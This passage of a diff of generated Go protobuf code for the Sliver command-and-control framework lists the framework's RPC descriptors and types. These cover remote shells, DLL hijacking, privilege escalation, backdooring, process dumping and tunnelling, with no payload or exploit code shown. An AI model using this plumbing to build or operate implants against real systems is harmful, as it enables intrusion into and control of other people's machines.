0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f,
0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01,
0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61,
0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74,
0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d,
0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62,
0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12,
0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65,
0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65,
0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c,
0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c,
0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75,
0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53,
0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12,
0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71,
0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e,
0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12,
0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f,
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38,
0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c,
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b,
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44,
0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50,
0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12,
0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65,
0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c,
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65,
0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45,
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a,
0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45,
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65,
0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72,
0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46,
0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70,
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a,
0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b,
0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65,
0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71,
0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43,
0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57,
0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c,
0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65,
0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77,
0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72,
0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72,
0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43,
0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44,
0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43,
0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63,
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a,
0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45,
0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74,
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -520,101 +532,105 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistryReadReq)(nil), // 61: sliverpb.RegistryReadReq
(*sliverpb.RegistryWriteReq)(nil), // 62: sliverpb.RegistryWriteReq
(*sliverpb.RegistryCreateKeyReq)(nil), // 63: sliverpb.RegistryCreateKeyReq
(*sliverpb.RegistrySubKeyListReq)(nil), // 64: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 65: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 66: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 67: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 68: sliverpb.GetPrivsReq
(*sliverpb.OpenSession)(nil), // 69: sliverpb.OpenSession
(*sliverpb.RegisterExtensionReq)(nil), // 70: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 71: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 72: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 73: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 74: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 75: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 76: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 77: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 78: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 79: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 80: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 81: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 82: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 83: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 84: sliverpb.TunnelData
(*clientpb.Version)(nil), // 85: clientpb.Version
(*clientpb.Operators)(nil), // 86: clientpb.Operators
(*clientpb.Sessions)(nil), // 87: clientpb.Sessions
(*clientpb.Session)(nil), // 88: clientpb.Session
(*clientpb.Beacons)(nil), // 89: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 90: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 91: commonpb.Response
(*clientpb.Jobs)(nil), // 92: clientpb.Jobs
(*clientpb.KillJob)(nil), // 93: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 94: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 95: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 96: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 97: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 98: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 99: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 100: clientpb.AllHosts
(*clientpb.Generate)(nil), // 101: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 102: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 103: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 104: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 105: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 106: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 107: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 108: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 109: clientpb.Compiler
(*clientpb.Websites)(nil), // 110: clientpb.Websites
(*sliverpb.Ps)(nil), // 111: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 112: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 113: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 114: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 115: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 116: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 117: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 118: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 119: sliverpb.Download
(*sliverpb.Upload)(nil), // 120: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 121: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 122: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 123: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 124: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 125: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 126: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 127: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 128: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 129: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 130: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 131: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 132: sliverpb.Screenshot
(*sliverpb.PivotListener)(nil), // 133: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 134: sliverpb.PivotListeners
(*sliverpb.ServiceInfo)(nil), // 135: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 136: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 137: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 138: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 139: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 140: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 141: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 142: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 143: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 144: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 145: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 146: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 147: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 148: sliverpb.GetPrivs
(*sliverpb.RegisterExtension)(nil), // 149: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 150: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 151: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 152: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 153: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 154: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 155: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 156: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 157: sliverpb.Portfwd
(*clientpb.Event)(nil), // 158: clientpb.Event
